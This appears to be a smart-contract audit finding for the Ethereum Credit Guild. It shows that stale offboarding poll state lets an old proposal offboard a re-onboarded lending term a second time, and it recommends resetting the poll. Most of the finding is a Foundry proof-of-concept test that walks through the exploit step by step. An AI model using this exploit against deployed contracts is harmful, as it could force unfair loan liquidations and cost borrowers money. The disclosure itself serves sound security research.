Ethereum Credit Guild - deth's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L153-L199

Vulnerability details

Impact

Lending terms can be onboarded, offboarded and re-onboarded.

To offboard a term, first we need to proposeOffboard after that we can supportOffboard

function supportOffboard(
        uint256 snapshotBlock,
        address term
    ) external whenNotPaused {
        require(
            block.number <= snapshotBlock + POLL_DURATION_BLOCKS,
            "LendingTermOffboarding: poll expired"
        );
        uint256 _weight = polls[snapshotBlock][term];
        require(_weight != 0, "LendingTermOffboarding: poll not found");
        uint256 userWeight = GuildToken(guildToken).getPastVotes(
            msg.sender,
            snapshotBlock
        );
        require(userWeight != 0, "LendingTermOffboarding: zero weight");
        require(
            userPollVotes[msg.sender][snapshotBlock][term] == 0,
            "LendingTermOffboarding: already voted"
        );

        userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
        polls[snapshotBlock][term] = _weight + userWeight;
        if (_weight + userWeight >= quorum) {
            canOffboard[term] = true;
        }
        emit OffboardSupport(
            block.timestamp,
            term,
            snapshotBlock,
            msg.sender,
            userWeight
        );
    }

Once the polls[snapshotBlock][term] reaches quorum , canOffboard[term] is set to true, meaning the term can now be offboarded.

There are 2 steps in completely offboarding a term, calling offboard and then calling cleanup

function offboard(address term) external whenNotPaused {
        require(canOffboard[term], "LendingTermOffboarding: quorum not met");

        // update protocol config
        // this will revert if the term has already been offboarded
        // through another mean.
        GuildToken(guildToken).removeGauge(term);

        // pause psm redemptions
        if (
            nOffboardingsInProgress++ == 0 &&
            !SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(true);
        }

        emit Offboard(block.timestamp, term);
    }

    /// @notice Cleanup roles of a LendingTerm.
    /// This is only callable after a term has been offboarded and all its loans have been closed.
    /// @param term LendingTerm to cleanup.
    function cleanup(address term) external whenNotPaused {
        require(canOffboard[term], "LendingTermOffboarding: quorum not met");
        require(
            LendingTerm(term).issuance() == 0,
            "LendingTermOffboarding: not all loans closed"
        );
        require(
            GuildToken(guildToken).isDeprecatedGauge(term),
            "LendingTermOffboarding: re-onboarded"
        );

        // update protocol config
        core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
        core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

        // unpause psm redemptions
        if (
            --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(false);
        }

        canOffboard[term] = false;
        emit Cleanup(block.timestamp, term);
    }

offboard deprecates the term (gauge) and cleanup revokes all roles the term holds and can only be called once all the loans for that term have been called.

You’ll notice that inside cleanup , canOfffboard[term] is reset back to false, but polls[snapshotBlock][term] isn’t reset back to 0.

This poses a big problem as if the term gets re-onboarded and the offboard proposal hasn’t reached snapshotBlock + POLL_DURATION_BLOCKS , a user can call supportOffboard and set canOffboard[term] to true again, which will make the term eligible to be offboarded. This happens using the first offboarding proposal, so basically the same offboarding proposal can be used to offboard a term multiple times, as long as the term gets re-onboarded in POLL_DURATION_BLOCKS .

When the term gets re-onboarded and then offboarded again, any loans created on the term will be eligible to be called again, even though they shouldn’t. Since MEV bots will instantly call loans, once they are eligible to be called, this will leave no time for the borrowers to act, as the term unexpectedly got offboarded again.

The bellow POC showcases the attack.

Proof of Concept

Create a new file called OffboardAndOnboard.t.sol , paste the following and run forge test --mt testOffboardExploit -vvvv

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Governor, IGovernor} from "@openzeppelin/contracts/governance/Governor.sol";
import {GovernorCountingSimple} from "@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol";

import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {LendingTermOnboarding} from "@src/governance/LendingTermOnboarding.sol";
import {GuildTimelockController} from "@src/governance/GuildTimelockController.sol";
import {LendingTermOffboarding} from "@src/governance/LendingTermOffboarding.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";

contract LendingTermOnboardingUnitTest is Test {
    address private governor = address(1);
    address private guardian = address(2);
    Core private core;
    ProfitManager private profitManager;
    GuildToken private guild;
    CreditToken private credit;
    MockERC20 private collateral;
    SimplePSM private psm;
    LendingTerm private termImplementation;
    AuctionHouse auctionHouse;
    RateLimitedMinter rlcm;
    GuildTimelockController private timelock;
    LendingTermOnboarding private onboarder;
    LendingTermOffboarding private offboarder;
    LendingTerm private term;
    address private constant alice = address(0x616c696365);
    address private constant bob = address(0xB0B);

    // GuildTimelockController params
    uint256 private constant _TIMELOCK_MIN_DELAY = 3600; // 1h

    // LendingTerm params
    uint256 private constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1, same decimals
    uint256 private constant _INTEREST_RATE = 0.05e18; // 5% APR
    uint256 private constant _HARDCAP = 1_000_000e18;

    // LendingTermOnboarding params
    uint256 private constant _VOTING_DELAY = 0;
    uint256 private constant _VOTING_PERIOD = 100_000; // ~14 days

    // Low values for simplicity
    uint256 private constant _PROPOSAL_THRESHOLD = 25e18;
    uint256 private constant _QUORUM = 50e18;

    function setUp() public {
      vm.warp(1679067867);
      vm.roll(16848497);

      // deploy
      core = new Core();
      profitManager = new ProfitManager(address(core));
      credit = new CreditToken(address(core), "name", "symbol");
      guild = new GuildToken(address(core), address(profitManager));
      collateral = new MockERC20();
      rlcm = new RateLimitedMinter(
          address(core), /*_core*/
          address(credit), /*_token*/
          CoreRoles.RATE_LIMITED_CREDIT_MINTER, /*_role*/
          type(uint256).max, /*_maxRateLimitPerSecond*/
          type(uint128).max, /*_rateLimitPerSecond*/
          type(uint128).max /*_bufferCap*/
      );
      psm = new SimplePSM(
          address(core),
          address(profitManager),
          address(credit),
          address(collateral)
      );
      auctionHouse = new AuctionHouse(
          address(core),
          650,
          1800
      );
      termImplementation = new LendingTerm();
      timelock = new GuildTimelockController(
          address(core),
          _TIMELOCK_MIN_DELAY
      );
      onboarder = new LendingTermOnboarding(
          LendingTerm.LendingTermReferences({
              profitManager: address(profitManager),
              guildToken: address(guild),
              auctionHouse: address(auctionHouse),
              creditMinter: address(rlcm),
              creditToken: address(credit)
          }), /// _lendingTermReferences
          1, // _gaugeType
          address(core), // _core
          address(timelock), // _timelock
          _VOTING_DELAY, // initialVotingDelay
          _VOTING_PERIOD, // initialVotingPeriod
          _PROPOSAL_THRESHOLD, // initialProposalThreshold
          _QUORUM // initialQuorum
      );
      onboarder.allowImplementation(
          address(termImplementation),
          true
      );
      

      offboarder = new LendingTermOffboarding(
          address(core),
          address(guild),
          address(psm),
          _QUORUM
      );
      

      profitManager.initializeReferences(address(credit), address(guild), address(psm));

      // permissions
      core.grantRole(CoreRoles.GOVERNOR, governor);
      core.grantRole(CoreRoles.GUARDIAN, guardian);
      core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
      core.grantRole(CoreRoles.GUILD_MINTER, address(this));
      core.grantRole(CoreRoles.GAUGE_ADD, address(this));
      core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
      core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
      core.grantRole(CoreRoles.GUILD_GOVERNANCE_PARAMETERS, address(this));
      core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
      core.grantRole(CoreRoles.GOVERNOR, address(timelock));
      core.grantRole(CoreRoles.GAUGE_ADD, address(timelock));
      core.grantRole(CoreRoles.TIMELOCK_EXECUTOR, address(0));
      core.grantRole(CoreRoles.TIMELOCK_PROPOSER, address(onboarder));
      core.grantRole(CoreRoles.GAUGE_REMOVE, address(offboarder));
      core.grantRole(CoreRoles.GOVERNOR, address(offboarder));
      core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
      core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term));
      core.renounceRole(CoreRoles.GOVERNOR, address(this));

      // Term gets created through onboarding
      term = LendingTerm(onboarder.createTerm(address(termImplementation), LendingTerm.LendingTermParams({
              collateralToken: address(collateral),
              maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
              interestRate: _INTEREST_RATE,
              maxDelayBetweenPartialRepay: 0,
              minPartialRepayPercent: 0,
              openingFee: 0,
              hardCap: _HARDCAP
          })));

      // allow GUILD gauge votes & delegations
      guild.setMaxGauges(10);
      guild.setMaxDelegates(10);
      guild.addGauge(1, address(term));
      // Mint tokens to some addresses
      guild.mint(alice, _HARDCAP * 2);
      vm.prank(alice);
      guild.delegate(alice);

      guild.mint(bob, _HARDCAP * 2);
      vm.prank(bob);
      guild.delegate(bob);

      

      // labels
      vm.label(address(this), "test");
      vm.label(address(core), "core");
      vm.label(address(profitManager), "profitManager");
      vm.label(address(guild), "guild");
      vm.label(address(credit), "credit");
      vm.label(address(rlcm), "rlcm");
      vm.label(address(timelock), "timelock");
      vm.label(address(auctionHouse), "auctionHouse");
      vm.label(address(termImplementation), "termImplementation");
      vm.label(address(onboarder), "onboarder");
      vm.label(address(term), "term");
      vm.label(address(offboarder), "offboarder");
      vm.label(alice, "alice");
      vm.label(bob, "bob");
    }

    // The test is simplified to showcase just the exploit
    // The test skips calling and bidding on loans for simplicity
    function testOffboardExploit() public {
      vm.roll(block.number + 1);
      vm.warp(block.timestamp + 13);

      // Someone proposes that the term gets offboarded under the market conditions
      // The offboard proposal has 7 days until it expires
      uint256 snapshotBlock = block.number;
      offboarder.proposeOffboard(address(term));

      // 1 day passes and the offboard proposal gets supported and succeeds
      vm.roll(block.number + 6646);
      vm.warp(block.timestamp + 86400);

      vm.prank(alice);
      offboarder.supportOffboard(snapshotBlock, address(term));

      // Term can be offboarded
      assertEq(offboarder.canOffboard(address(term)), true);

      // offboard gets called and the term is removed
      offboarder.offboard(address(term));

      // Term is deprecated
      assertEq(guild.isDeprecatedGauge(address(term)), true);

      // 2 days pass and all the loans get called and bidded on
      // For simplicity we only skip forward in time
      // Term is cleaned up
      vm.roll(block.number + 13292);
      vm.warp(block.timestamp + 172800);
      offboarder.cleanup(address(term));
      
      // canOffboard[term] is set to false after cleanup
      assertEq(offboarder.canOffboard(address(term)), false);

      // 1 day pass and the market condition stablizes and the term gets proposed to get on boarded
      vm.roll(block.number + 6646);
      vm.warp(block.timestamp + 86400);

      // The governor decides to lower the voting period to 1 day, to make the re-onboarding faster
      vm.prank(governor);
      onboarder.setVotingPeriod(6646);
      // The term gets proposed to be re-onboarded
      // Alice proposes to onboard a term
      vm.prank(alice);
      uint256 proposalId = onboarder.proposeOnboard(address(term));
      // Get the proposal args
      (
          address[] memory targets,
          uint256[] memory values,
          bytes[] memory calldatas,
          string memory description
      ) = onboarder.getOnboardProposeArgs(address(term));

      // The proposal gets accepted
      vm.roll(block.number + 1);
      vm.warp(block.timestamp + 13);

      // The re-onboard proposal gets accepted
      vm.prank(alice);
      onboarder.castVote(proposalId, uint8(GovernorCountingSimple.VoteType.For));

      // The voting period passes and the proposal gets queued
      vm.roll(block.number + 6646 + 1);
      vm.warp(block.timestamp + 86400 + 13);

      // Queue the proposal
      onboarder.queue(targets, values, calldatas, keccak256(bytes(description)));

      // 1 hour passes and the timelock has passed, the re-onboard proposal can get executed now
      vm.roll(block.number + 277);
      vm.warp(block.timestamp + _TIMELOCK_MIN_DELAY + 13);
      onboarder.execute(targets, values, calldatas, keccak256(bytes(description)));
      assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Executed));

      // The original term gets re-onboarded and is again a valid gauge
      assertEq(guild.isGauge(address(term)), true);

      // At this point there are 23 hours left from the original offboard proposal
      // 20 hours pass, users start borrowing from the term again
      vm.roll(block.number + 5538);
      vm.warp(block.timestamp + 72000);

      // canOffboard[term] is still false
      assertEq(offboarder.canOffboard(address(term)), false);

      // Bob calls supportOffboard on the term and 
      vm.prank(bob);
      offboarder.supportOffboard(snapshotBlock, address(term));

      // canOffboard[term] is again set to true
      assertEq(offboarder.canOffboard(address(term)), true);

      // 1 block later Bob calls offboard
      vm.roll(block.number + 1);
      vm.warp(block.timestamp + 13);
      offboarder.offboard(address(term));

      // Term is deprecated
      assertEq(guild.isDeprecatedGauge(address(term)), true);

      // At this point MEV bots will immediatly start calling all loans 
      // and buying them up through the AuctionHouse
      // This will be extremely unfair for all the borrowers of the term,
      // and can have the potential to cause huge financial losses
    }
}

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

Reset polls[snapshotBlock][term] when it gets offboarded/cleaned up

Assessed type

Other